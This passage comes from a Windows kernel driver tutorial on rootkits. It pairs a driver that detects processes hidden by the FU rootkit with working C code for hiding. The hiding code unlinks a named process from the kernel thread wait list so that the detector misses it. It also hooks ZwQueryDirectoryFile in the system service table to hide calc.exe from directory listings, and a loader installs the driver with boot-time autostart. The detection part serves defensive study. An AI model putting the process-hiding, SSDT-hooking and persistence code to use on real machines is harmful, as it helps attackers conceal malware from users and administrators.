= *(long *)(ptr + 1);
break;
}
ptr++;
}
start
= (LIST_ENTRY *) gKiWaitInListHead;
cur
= start->Flink;
DbgPrint("gKiWaitInListHead=%x
cur=%x %x",gKiWaitInListHead,cur,*start);
do
{
val
= (long)cur + 388;
val
= *(long *)val;
i
= (long)cur + 464;
i
= *(long *)i;
DbgPrint("%d
%s cur=%x",val,i + 508,cur);
pethread
= (struct ETHREAD *)((long)cur - 92);
DbgPrint("%d
%s Flink=%x ",pethread->Cid.UniqueProcess,(char
*)pethread->ThreadsProcess+508,pethread->Tcb.WaitListEntry.Flink);
cur
= cur->Flink;
}
while(cur != start);
return(STATUS_SUCCESS);
}
gKiWaitInListHead=80482258
cur=81e8c27c 81e8c27c
440
svchost.exe cur=81e8c27c
440
svchost.exe Flink=81ebe25c
176
winlogon.exe cur=81ebe25c
176
winlogon.exe Flink=81bb607c
952
Dfssvc.exe cur=81bb607c
952
Dfssvc.exe Flink=816fbd5c
The
above program really does not clarify a lot of issues in our mind. Thus lets
explain the same output in a slightly different way. The gKiWaitInListHead
pointer that we obtain is not a pointer to a undocumented structure ETHREAD.
There is a member WaitListEntry or 0x5c or 92 bytes from the start of the
structure that this variable points to.
The
member WaitListEntry is a familiar LIST_ENTRY structure that builds a circular
linked list of threads that are waiting. The values of cur and *start are the
same as we assume that gKiWaitInListHead is a pointer to a LIST_ENTRY structure
and the first member is Flink. In the do loop, the variable curr is pointing 92
bytes from the start and if we subtract this value, we will come to the start
of the ETHREAD structure.
We
can display the pid and name of the program owning this thread. To calculate
val we first added 388 to the value of cur. The reason we did that was that cur
is 92 bytes form the start and Cid is 480 bytes from the start. Thus from cur
Cid is 480-92 388 bytes. In the same vein the EPROCESS structure is 556 bytes
from the start and therefore 556-92 464 from cur. Thus it I simpler to
understand if we use a actual structure to access the members.
P56
r.c
#include
<ntddk.h>
#include
<stdio.h>
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
DbgPrint("IRP_MJ_CREATE\n");
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading");
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
long
gKiWaitOutListHead,i,val;
unsigned
char *ptr,*namePtr;
LIST_ENTRY
*cur, *start;
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
ptr
= (unsigned char *) KeWaitForSingleObject;
for(
i = 0; i < 4096; i++ )
{
if(*ptr
== 0xb9 && *(ptr+5) == 0x84 && *(ptr+6) == 0xc0 &&
*(ptr+24) == 0xb9)
{
gKiWaitOutListHead
= *(long *)(ptr + 25);
break;
}
ptr++;
}
DbgPrint("%x",gKiWaitOutListHead);
start
= (LIST_ENTRY *)gKiWaitOutListHead;
cur
= start->Flink;
do
{
val
= *((long *)((long)cur + 388));
namePtr
= (unsigned char *)(*((long *)((long)cur + 464))) + 508;
DbgPrint("%d
%s",val,namePtr);
cur
= cur->Flink;
}
while(cur != start);
return(STATUS_SUCCESS);
}
80482808
8
System
8
System
8
System
This
program once again displays a list of process but now uses another method. 24
bytes from the start of the pattern in the function code KeWaitForSingleObject
lies another pointer to LIST_ENTRY linked list of ETHREAD structures. We call
this the KiWaitOutListHead list. We do the same thing that we did earlier, scan
the link list and print out the pid at an offset 388 and the EPROCESS structure
464 bytes away. A little later we will talk about what these two different
lists signify.
P57
r.c
#include
<ntddk.h>
#include
<stdio.h>
struct
zzz
{
long
pid;
char
name[17];
};
struct
zzz procs[1000];
struct
zzz procs1[1000];
int
nprocs,nprocs1;
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
DbgPrint("IRP_MJ_CREATE\n");
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading");
}
void
insert (long pid, char *nameptr)
{
int
i;
for
(i = 0; i < nprocs; i++)
if
(procs[i].pid == (long)pid)
return;
procs
[nprocs].pid = pid;
strcpy
(procs[nprocs].name, nameptr);
nprocs++;
}
void
insert1(long pid, char *nameptr)
{
int
i;
for
(i = 0; i < nprocs1; i++)
if
(procs1[i].pid == (long)pid)
return;
procs1[nprocs1].pid
= pid;
strcpy
(procs1[nprocs1].name, nameptr);
nprocs1++;
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
PEPROCESS
p1;
long
gKiWaitOutListHead,i,pid,gKiWaitInListHead;
unsigned
char *ptr,*nameptr;
int
found,j;
LIST_ENTRY
*cur, *start;
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
ptr
= (unsigned char *)KeWaitForSingleObject;
for(
i = 0; i < 4096; i++ )
{
if(*ptr
== 0xb9 && *(ptr+5) == 0x84 && *(ptr+6) == 0xc0 && *(ptr+24)
== 0xb9)
{
gKiWaitInListHead
= *(long *)(ptr + 1);
gKiWaitOutListHead
= *(long *)(ptr + 25);
break;
}
ptr++;
}
start
= (LIST_ENTRY *)gKiWaitOutListHead;
cur
= start->Flink;
do
{
pid
= *((long *)((long)cur + 388));
nameptr
= (unsigned char *)(*((long *)((long)cur + 464))) + 508;
insert(pid,nameptr);
cur
= cur->Flink;
}
while(cur != start);
start
= (LIST_ENTRY *)gKiWaitInListHead;
cur
= start->Flink;
do
{
pid
= *((long *)((long)cur + 388));
nameptr
= (unsigned char *)(*((long *)((long)cur + 464))) + 508;
insert(pid,nameptr);
cur
= cur->Flink;
}
while(cur != start);
//for
( i = 0; i < nprocs ; i++)
//DbgPrint("%s
%d",procs[i].name,procs[i].pid);
p1
= (PEPROCESS)PsGetCurrentProcess();
cur
= start = (LIST_ENTRY *)((long)p1 + 160);
do
{
int
pid = *(long *)((long)cur -4);
//DbgPrint("%s
%d",(long)cur + 348,pid);
insert1(pid,(char
*)((long)cur + 348));
cur
= cur->Flink;
}
while(cur != start);
DbgPrint("nprocs=%d
nprocs1=%d",nprocs,nprocs1);
for(
i = 0 ; i < nprocs ; i++)
{
found
= 0;
for
( j = 0 ; j < nprocs1 ; j++)
{
if
( procs[i].pid == procs1[j].pid)
{
found
= 1;
break;
}
}
if
( found == 0 && procs[i].pid != 0)
DbgPrint("%s
%d has been hidden",procs[i].name,procs[i].pid);
}
return(STATUS_SUCCESS);
}
This
program is our first stab at writing a program that tells us whether someone
has hidden a process using Direct kernel Object Manipulation which we first
read about in the FU toolkit. This program displays all processes that have
been hidden by using say the FU rootkit.
Most
of the program has been done before by us. We first start off in a for loop
finding the addresses of the two linked list of threads like before. We then
scan through each of the linked lists like we did before. We find out the pid
stored in the variable val and the name of the process stored in nameptr. Then
we do something different. Instead of displaying the values, we call a function
insert.
This
function adds the process id and name of the program to a global array of zzz
structures if the pid is not already present in the array. This array called
procs should at the end of the do loop contain one instance only of the pid and
program name. The problem with the thread linked are that if a program creates
10 threads, it will be seen in the link list 10 times.
We
want to eliminate multiple instances of the pid’s and have only one instance.
The function insert is called with the pid and program name.
In
this function we use a global variable nprocs to keep tab of how many array members
contain pids. To start with its value is zero and each time we add a new member
to the array nprocs, we increase nprocs by 1. We have created a global array
nprocs to have upto a 1000 members. It would be better to dynamically grow the
array each time. We used the code the Klister rootkit used and thus believe if
he could do it why not us.
Each
time we scan the array upto nprocs checking if the pid is already there. This
structure zzz that each array member conforms to contains a pid member and a array
17 bytes large to store the program name. If we meet a match in the for loop we
simply return and do nothing else. If no match we have a unique pid and we use
the nprocs variable as an offset into the array and set the pid member to the
pid parameter.
We
also strcpy the name into the 17 byte array. Finally we increase the nprocs
variable by 1. At the end of the do loop we have nprocs tells us how many
unique process are running on our machine but now it add the caveat that these
processes are associated with a thread. We then use the second thread linked
list and place all unique processes into the nprocs array.
We
then use a program that we wrote earlier, which scans all the EPROCESS
structures whose address we get from the PsGetCurrentProcess function. It is
here where we find a list of all current processes which are used for
displaying in program like task manager. We scan this list and place all the
unique process id’s in a array procs1 using the insert1 function.
We
had to use the same logic as before as even in this list we can have the same
function name twice. We display the variables nprocs and nprocs1 that give us a
list of processes in both arrays. Now if someone has hidden a process from the
list of processes which is what FU does, its name will not be there in this
list but as it has created a thread, it will exists in the thread linked list.
So
all that we now do is scan the first array of structures procs and pick up each
pid present. We know that nprocs gives us the total number of unique pids. We
then use another for loop to scan the entire second array using nprocs1 as the
for terminating value. If we do not find the pid in the procs1 array we know
that it has been hidden.
Thus
every process that has a thread must be present in the second or procs1 array.
The reverse does not make sense as if the process has been hidden in procs1, we
will not know that it has been removed. This is why we check the procs array
against the procs1 array and not vice
versa. Thus use fu as fu –ph 234 which will hide process 234. When you run our
driver, it will come back and tell us that process 234 has been hidden.
P58
r.c
#include
<ntddk.h>
#include
<stdio.h>
struct
zzz
{
long
pid;
char
name[17];
};
PEPROCESS
p1;
struct
zzz procs[1000];
struct
zzz procs1[1000];
PKTIMER gTimer;
PKDPC gDPCP;
LARGE_INTEGER
timeout;
long
gKiWaitOutListHead,i,pid,gKiWaitInListHead;
void
insert (long pid, char *nameptr,long *pnprocs)
{
int
i;
for
(i = 0; i < *pnprocs; i++)
if
(procs[i].pid == (long)pid)
return;
procs
[*pnprocs].pid = pid;
strcpy
(procs[*pnprocs].name, nameptr);
*pnprocs
= *pnprocs + 1;
}
void
insert1(long pid, char *nameptr,long *pnprocs1)
{
int
i;
for
(i = 0; i < *pnprocs1; i++)
if
(procs1[i].pid == (long)pid)
return;
procs1[*pnprocs1].pid
= pid;
strcpy
(procs1[*pnprocs1].name, nameptr);
*pnprocs1
= *pnprocs1 + 1;
}
VOID
abc(PKDPC Dpc,PVOID DeferredContext,PVOID sys1,PVOID sys2)
{
unsigned
char *nameptr;
int
nprocs=0,nprocs1=0;
int
found,j;
LIST_ENTRY
*cur, *start;
DbgPrint("Timer");
for
( i = 0 ; i <= 500 ; i++)
{
procs1[i].pid
= procs[i].pid = 0;
procs1[i].name[0]
= procs[i].name[0] = 0;
}
start
= (LIST_ENTRY *)gKiWaitOutListHead;
cur
= start->Flink;
do
{
pid
= *((long *)((long)cur + 388));
nameptr
= (unsigned char *)(*((long *)((long)cur + 464))) + 508;
insert(pid,nameptr,&nprocs);
cur
= cur->Flink;
}
while(cur != start);
start
= (LIST_ENTRY *)gKiWaitInListHead;
cur
= start->Flink;
do
{
pid
= *((long *)((long)cur + 388));
nameptr
= (unsigned char *)(*((long *)((long)cur + 464))) + 508;
insert(pid,nameptr,&nprocs);
cur
= cur->Flink;
}
while(cur != start);
cur
= start = (LIST_ENTRY *)((long)p1 + 160);
do
{
pid
= *(long *)((long)cur -4);
insert1(pid,(char
*)((long)cur + 348),&nprocs1);
cur
= cur->Flink;
}
while(cur != start);
DbgPrint("nprocs=%d
nprocs1=%d",nprocs,nprocs1);
for(
i = 0 ; i < nprocs ; i++)
{
found
= 0;
for
( j = 0 ; j < nprocs1 ; j++)
{
if
( procs[i].pid == procs1[j].pid)
{
found
= 1;
break;
}
}
if
( found == 0 && procs[i].pid != 0)
DbgPrint("%s
%d has been hidden",procs[i].name,procs[i].pid);
}
}
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
DbgPrint("IRP_MJ_CREATE\n");
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading");
KeCancelTimer(
gTimer );
ExFreePool(
gTimer );
ExFreePool(
gDPCP );
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
unsigned
char *ptr;
int
i;
p1
= (PEPROCESS)PsGetCurrentProcess();
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
ptr
= (unsigned char *)KeWaitForSingleObject;
for(
i = 0; i < 4096; i++ )
{
if(*ptr
== 0xb9 && *(ptr+5) == 0x84 && *(ptr+6) == 0xc0 &&
*(ptr+24) == 0xb9)
{
gKiWaitInListHead
= *(long *)(ptr + 1);
gKiWaitOutListHead
= *(long *)(ptr + 25);
break;
}
ptr++;
}
gTimer
= ExAllocatePool (NonPagedPool,sizeof(KTIMER));
gDPCP
= ExAllocatePool(NonPagedPool,sizeof(KDPC));
KeInitializeTimer
(gTimer);
KeInitializeDpc
(gDPCP,abc,0);
KeSetTimerEx
(gTimer,timeout,10000,gDPCP);
return(STATUS_SUCCESS);
}
nprocs=34
nprocs1=32
smss.exe
156 has been hidden
winlogon.exe
176 has been hidden
cmd.exe
344 has been hidden
This
program combines the best of both worlds. It adds the timer code so that the
abc function gets called every ten seconds. In this function we place the code
for filling the arrays etc. The only difference is that earlier we made nprocs
and nprocs1 global.
Thus
the first time the abc function gets called they get set to a value, the second
time being global they retain the values and the arrays procs and procs1 also
retain their values. Thus each time abc gets called we want to populate the two
arrays from scratch. Thus we initialize the pid and name members to zero and
pass the addresses of nprocs and nprocs1 to the insert functions.
Thus
in timer code it is always advisable to not use global variables. The code
works as advertised. We use fu to hide a process and within 10 seconds we get
the above output. The only problem was that when we merged the code of the
timer into the earlier program, we kept getting the blue screen of death. It
took us 4 hours of rebooting to figure out where we are going wrong.
Whenever
the timer gets called and we are doing nothing, the cur points to a EPROCESS
structure of the program called Idle with a pid of 0. The only problem with
this Idle chap is that both Flink and Blink are zero. Thus whenever the timer
got called the second time, Idle was active and we got a BSoD.
Thus
we set the p1 variable in DriverEntry which points to System. As the list of
process is circular it does not matter where we start. We cover all of them.
Nobody told us that Idle has a Flink and Blink of 0. If they did we would not
have wasted 4 hours. Tough life for Device Driver programmers.
P59
y.c
val
= 1;
RegSetValueEx(hkey,
"Start", 0, REG_DWORD, (PBYTE)&val, sizeof(val));
RegSetValueEx(hkey,"ImagePath",0,REG_EXPAND_SZ,(PBYTE)imgName,strlen(imgName));
The
problem with our code so far was that we would load it each time. There is a
simply way to get windows load our driver each time. We simply set the start
key to value of 1. This tells windows to load the driver at boot up. If you
want to use the CreateService function instead change the 6th
parameter SERVICE_DEMAND_START to SERVICE_SYSTEM_START. This option sets the
registry value to 1 as we do.
Now
each time someone hides our program, we get called.
P60
r.c
#include
<ntddk.h>
#include
<stdio.h>
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
DbgPrint("IRP_MJ_CREATE\n");
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading");
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
long
gKiWaitOutListHead,i,val;
unsigned
char *ptr,*namePtr;
LIST_ENTRY
*cur, *start;
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
ptr
= (unsigned char *) KeWaitForSingleObject;
for(
i = 0; i < 4096; i++ )
{
if(*ptr
== 0xb9 && *(ptr+5) == 0x84 && *(ptr+6) == 0xc0 &&
*(ptr+24) == 0xb9)
{
gKiWaitOutListHead
= *(long *)(ptr + 25);
break;
}
ptr++;
}
DbgPrint("%x",gKiWaitOutListHead);
start
= (LIST_ENTRY *)gKiWaitOutListHead;
cur
= start->Flink;
do
{
val
= *((long *)((long)cur + 388));
namePtr
= (unsigned char *)(*((long *)((long)cur + 464))) + 508;
DbgPrint("%d
%s cur=%x Flink=%x Blink=%x",val,namePtr);
if
( strcmp("y.exe",namePtr) == 0)
{
LIST_ENTRY
*Flink,*Blink;
Flink
= cur->Flink;
Blink
= cur->Blink;
Blink->Flink
= Flink;
}
cur
= cur->Flink;
}
while(cur != start);
DbgPrint("Check");
start
= (LIST_ENTRY *)gKiWaitOutListHead;
cur
= start->Flink;
do
{
val
= *((long *)((long)cur + 388));
namePtr
= (unsigned char *)(*((long *)((long)cur + 464))) + 508;
DbgPrint("%s",namePtr);
cur
= cur->Flink;
}
while(cur != start);
return(STATUS_SUCCESS);
}
8
System cur=8202d07c Flink=81be97fc Blink=8202adfc
988
y.exe cur=81be97fc Flink=8202d8fc Blink=8202d07c
8
System cur=8202d8fc Flink=80482808 Blink=81be97fc
The
thread list as mentioned above are nothing but a circular double linked list
with the Flink pointing to the next LIST_ENTRY and Blink to the previous. We
check for a program called y.exe and when we find it, we simply take Blink to
point to the previous thread structure.
We
set the Flink of this to point to Flink which is the address of the next thread
structure. This is how we remove ourselves from the thread linked list. We
redisplay all the threads again and we do not see the process y.exe. Thus If we
remove ourselves from both the process
and thread list, our program does not catch us. For every method we finding of
catching the bad guy, there is another way of hiding ourselves.
We
thought that if we hid ourselves from the thread lists, even windows would not give us any time but
it seems that these list are not used by the OS to decide the scheduling of
threads.
P61
r.c
#include
<ntddk.h>
#include
<stdio.h>
#include
<string.h>
typedef
struct
{
ULONG
NextEntryOffset;
ULONG
FileIndex;
LARGE_INTEGER
CreationTime;
LARGE_INTEGER
LastAccessTime;
LARGE_INTEGER
LastWriteTime;
LARGE_INTEGER
ChangeTime;
LARGE_INTEGER
EndOfFile;
LARGE_INTEGER
AllocationSize;
ULONG
FileAttributes;
ULONG
FileNameLength;
ULONG
EaSize;
CCHAR
ShortNameLength;
WCHAR
ShortName[12];
WCHAR
FileName[1];
}FILE_BOTH_DIR_INFORMATION;
typedef
struct
{
unsigned
int *ServiceTableBase;
unsigned
int *ServiceCounterTableBase;
unsigned
int NumberOfServices;
unsigned
char *ParamTableBase;
}
sdt;
unsigned
short uFileName[128];
__declspec(dllimport)
sdt KeServiceDescriptorTable;
NTSYSAPI
NTSTATUS NTAPI ZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE
IoApcRoutine,PVOID IoApcContext,PIO_STATUS_BLOCK pIoStatusBlock,PVOID
FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS
FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN
bRestartQuery);
typedef
NTSTATUS (*qtype)(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE IoApcRoutine, PVOID IoApcContext, PIO_STATUS_BLOCK pIoStatusBlock,PVOID
FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS
FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN
bRestartQuery);
qtype
OldZwQueryDirectoryFile;
NTSTATUS
NewZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE
IoApcRoutine,PVOID IoApcContext,PIO_STATUS_BLOCK pIoStatusBlock,PVOID
FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS
FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN
bRestartQuery)
{
NTSTATUS
rc;
rc=OldZwQueryDirectoryFile(hFile,hEvent,IoApcRoutine,IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery);
DbgPrint("FileInfoClass=%d
rc=%d\n", FileInfoClass ,rc);
if(
rc == 0 && FileInfoClass == 3)
{
FILE_BOTH_DIR_INFORMATION
*p;
int
last = 0;
p
= prev = (FILE_BOTH_DIR_INFORMATION *) FileInformationBuffer;
while(!last)
{
if
( p->NextEntryOffset == 0)
last
= 1;
wcsncpy
(uFileName,p->FileName,p->FileNameLength/2);
uFileName[p->FileNameLength/2]
= 0;
DbgPrint("%S
Length=%d Delta=%d",uFileName,p->FileNameLength,p->
NextEntryOffset);
p
= (FILE_BOTH_DIR_INFORMATION *)((char *)p + (int)p->NextEntryOffset);
}
}
return(rc);
}
long
no;
NTSTATUS
DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
DbgPrint("IRP_MJ_CREATE\n");
IoCompleteRequest(Irp,
IO_NO_INCREMENT);
return(STATUS_SUCCESS);
}
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading");
_asm
cli
KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned
int)OldZwQueryDirectoryFile;
_asm
sti
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)
{
char
*p;
driverObject->DriverUnload
= DriverUnload;
driverObject->MajorFunction[IRP_MJ_CREATE]
= DriverDispatcher;
DbgPrint("Vijay
2 KeServiceDescriptorTable=%x",KeServiceDescriptorTable);
p
= (char *) ZwQueryDirectoryFile;
p
= p + 1;
no
= *(long *)p;
OldZwQueryDirectoryFile=
(qtype)KeServiceDescriptorTable. ServiceTableBase [no];
_asm
cli
KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned
int)NewZwQueryDirectoryFile;
_asm
sti
return(STATUS_SUCCESS);
}
FileInfoClass
=3 rc=0
r.c
Length=6 Delta=104
r10
Length=6 Delta=104
a.obj
Length=10 Delta=0
FileInfoClass=3
rc=0
Lots
of good folk on the internet whispered into our ear that each time we do a dir,
the list of files supplied to the dir command come from the undocumented
function ZwQueryDirectoryFile. Any function beginning with Zw is undocumented.
So far we have been able to hide a running program from windows.
Not
good enough because if we are able to hide say calc from task manager all that
someone may day is dir /s for calc.exe and find it on the hard disk. Thus lets
us now hide a file from dir. Thus we will be able to hide both file and program
from windows spying eyes. In the above program we hook the ZwQueryDirectoryFile
function and like always the function NewZwQueryDirectoryFile gets called.
As
before we call the original and then do our thing. This function gets called
with a zillion parameters but we are interested in only two. The FileInfoClass
parameter can take lots of values depending upon type of directory listing
asked for. The value 3 is the one we are interested in because directory
listing use this value. Like the function ZwQuerySystemInformation the return
value is important as we normally call these functions asking for length of
buffer.
Thus
we do our bit only when we get a return value of 0 and the FileInfoClass value
of 3. The second parameter of use is the FileInformationBuffer parameter. When
the FileInfoClass parameter is 3, this is a pointer to a FILE_BOTH_DIR_INFORMATION
structure. This structure is our creation and the first member is a offset to a
similar structure. This is because the FileInformationBuffer is made of a
series of FILE_BOTH_DIR_INFORMATION structures.
Unlike
a link list where a member points to the next member of the link list, here we
have a offset to the next member. The other problem is that when the member
NextEntryOffset is 0, it is not the end of the link list but the last member.
Thus we cannot loop till NextEntryOffset is 0, because then we will miss the
last file name.
Thus
the FileInformationBuffer is a series of structures, one per file in the
listing. We set a variable last to 0 and loop until some one makes last 1. The
minute the member NextEntryOffset is 0, we set last to 1 so that at the next
iteration not the current we quit out.
The
FileName member is a unicode string to the actual file name. This is why the
structure used does not have a fixed size. There is no 0 at the end of this
string and therefore we use the unicode
strcpy wcsncpy to copy the unicode string pointed by the FileName member. The
FileNameLength tells us the total length as actual bytes not unicode bytes.
Thus
file name r.c has a length of 6 and not 3. The unicode functions assume that we
are dealing with unicode characters and thus we have to divide the length by 2.
We copy this file name into a global array uFileName. As there is no null
terminator, we have to add a zero at the end./ Once again we divide by 2 as the
array is insigne short.
When
we were writing our code, we would null terminate the FileName variable which
overwrote the NextEntryOffset member. This is because these structures are
stored back to back but we do not know the length of the file name and hence these structures. We print out
FileName and the length and the NextEntryOffset which either is an offset to
the next structure or 0 if it is last one.
P63
r.c
NTSTATUS
NewZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE
IoApcRoutine,PVOID IoApcContext,PIO_STATUS_BLOCK pIoStatusBlock,PVOID
FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS
FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN
bRestartQuery)
{
NTSTATUS
rc;
rc=OldZwQueryDirectoryFile(hFile,hEvent,IoApcRoutine,IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery);
DbgPrint("FileInfoClass=%d
rc=%d\n",FileInfoClass,rc);
if(
rc == 0 && FileInfoClass == 3)
{
FILE_BOTH_DIR_INFORMATION
*p,*prev;
int
last = 0;
p
= prev = (FILE_BOTH_DIR_INFORMATION *)FileInformationBuffer;
while(!last)
{
if
( p->NextEntryOffset == 0)
last
= 1;
wcsncpy(uFileName,p->FileName,p->FileNameLength/2);
uFileName[p->FileNameLength/2]
= 0;
if
( wcsncmp(p->FileName,L"calc.exe",8) == 0)
{
DbgPrint("Match
Found prev=%d p=%d
last=%d",prev->NextEntryOffset,p->NextEntryOffset,last);
if
( p->NextEntryOffset == 0)
prev->NextEntryOffset
= 0;
else
prev->NextEntryOffset
= prev->NextEntryOffset + p->NextEntryOffset;
}
prev
= p;
p
= (FILE_BOTH_DIR_INFORMATION *)((char *)p + (int)p->NextEntryOffset);
}
}
return(rc);
}
Before
running the above program we would like to you copy calc.exe
fromC:\winnt\system32. This is the file we are going to hide. We use the
unicode equivalent of strncmp wcsncmp to compare two unicode strings. One is
p->FileName, the current file name and the other is a hard coded unicode
string L”calc.exe”.
Once
again we check for a certain number of bytes, using the ascii length 8 and not
the unicode length 16. If this function returns a zero, we know that we have
found a match. We have to check for three cases. The first is that if
NextEntryOffset is zero, the match is found on the last one. This happens when
we have more than one file as our output and this is the last file in the list.
We
have also added one more variable prev which points to the previous structure,
one that we have just visited. Thus p points to the current structure, prev to
the last and we set prev to the last just when we are changing p. The problem
with the last entry is that there is no one in front of it. The NextEntryOffset
is an offset to the next structure. Thus the prev-> NextEntryOffset offsets
to p.
All
that we do is set it to 0, making the second last one the last. If it is in the
middle than we have to simply take the NextEntryOffset of the previous one and
set it to the next one and not the current one. All that we do is simply add
the offset of the current one so that it points to the next one, bypassing us
totally.
Thus
we have accounted for two cases, when the file we are trying to hide is in the
middle and the last one. But what if it is the first. Then we have a problem.
There are two cases, one when it is the only one in the list and the second when
there are many but this is the only one. We cannot use prev here is there is no
prev.
We
cannot change the buffer as we are not passed the address of the buffer. Lets
carry on and resolve this issue a little later.
P63
y.c
#include
<stdio.h>
#include
<windows.h>
#include
<malloc.h>
#include
<tlhelp32.h>
#include
<stdio.h>
#define
DRV_NAME "vijayd"
#define
DRV_FILENAME "vijay.sys"
#define
DIRECTORY "C:\\driverm"
typedef
struct
{
unsigned short Length;
unsigned short MaximumLength;
char
* Buffer;
}
ANSI_STRING, *PANSI_STRING;
typedef
struct
{
unsigned short Length;
unsigned short MaximumLength;
unsigned short *Buffer;
}
UNICODE_STRING, *PUNICODE_STRING;
long
(_stdcall * _RtlAnsiStringToUnicodeString)(PUNICODE_STRING DestinationString,PANSI_STRING SourceString,unsigned char);
VOID
(_stdcall *_RtlInitAnsiString)(PANSI_STRING
DestinationString,char *
SourceString);
long
(_stdcall * _ZwLoadDriver)(PUNICODE_STRING DriverServiceName);
long
(_stdcall * _ZwUnloadDriver)(PUNICODE_STRING DriverServiceName);
ANSI_STRING
aStr;
UNICODE_STRING
uStr;
HMODULE
hntdll;
unsigned
long byteRet;
HANDLE
hDevice;
HKEY
hkey;
DWORD
val,b;
char
*imgName = "System32\\DRIVERS\\"DRV_FILENAME;
void
main(int argc, char* argv[])
{
hntdll
= GetModuleHandle("ntdll.dll");
_ZwLoadDriver
= GetProcAddress(hntdll, "NtLoadDriver");
_ZwUnloadDriver
= GetProcAddress(hntdll, "NtUnloadDriver");
_RtlAnsiStringToUnicodeString
= GetProcAddress(hntdll, "RtlAnsiStringToUnicodeString");
_RtlInitAnsiString
= GetProcAddress(hntdll, "RtlInitAnsiString");
if
( strcmp(argv[1],"-i") == 0)
{
if
( argc != 3)
return;
CopyFile(DIRECTORY"\\"DRV_FILENAME,"C:\\winnt\\system32\\drivers\\"DRV_FILENAME,1);
RegCreateKey(HKEY_LOCAL_MACHINE,"System\\CurrentControlSet\\Services\\"DRV_NAME,&hkey);
val
= 1;
RegSetValueEx(hkey,
"Type", 0, REG_DWORD, (PBYTE)&val, sizeof(val));
RegSetValueEx(hkey,
"ErrorControl", 0, REG_DWORD, (PBYTE)&val, sizeof(val));
val
= 3;
RegSetValueEx(hkey,
"Start", 0, REG_DWORD, (PBYTE)&val, sizeof(val));
RegSetValueEx(hkey,"ImagePath",0,REG_EXPAND_SZ,(PBYTE)imgName,strlen(imgName));
_RtlInitAnsiString(&aStr,"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"DRV_NAME);
_RtlAnsiStringToUnicodeString(&uStr,
&aStr, TRUE);
val
= _ZwLoadDriver(&uStr);
hDevice
= CreateFile("\\\\.\\"DRV_NAME, GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,
NULL);
printf("Val=%d
hDevice=%x",val,hDevice);
DeviceIoControl(hDevice,
2 << 3 , argv[2], strlen(argv[2]), 0, 0, &b, 0);
}
if
( strcmp(argv[1],"-u") == 0)
{
_RtlInitAnsiString(&aStr,"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"DRV_NAME);
_RtlAnsiStringToUnicodeString(&uStr,
&aStr, TRUE);
_ZwUnloadDriver(&uStr);
DeleteFile("C:\\winnt\\system32\\drivers\\"DRV_FILENAME);
RegDeleteKey(HKEY_LOCAL_MACHINE,
"System\\CurrentControlSet\\Services\\"DRV_NAME"\\Enum");
RegDeleteKey(HKEY_LOCAL_MACHINE,
"System\\CurrentControlSet\\Services\\"DRV_NAME);
}
}
In
the above loader program we do not make many changes and we simply pass the
filename as the third argument. We add a error check to make sure that with the
–I option the user passes a third argument. We also print out the return values
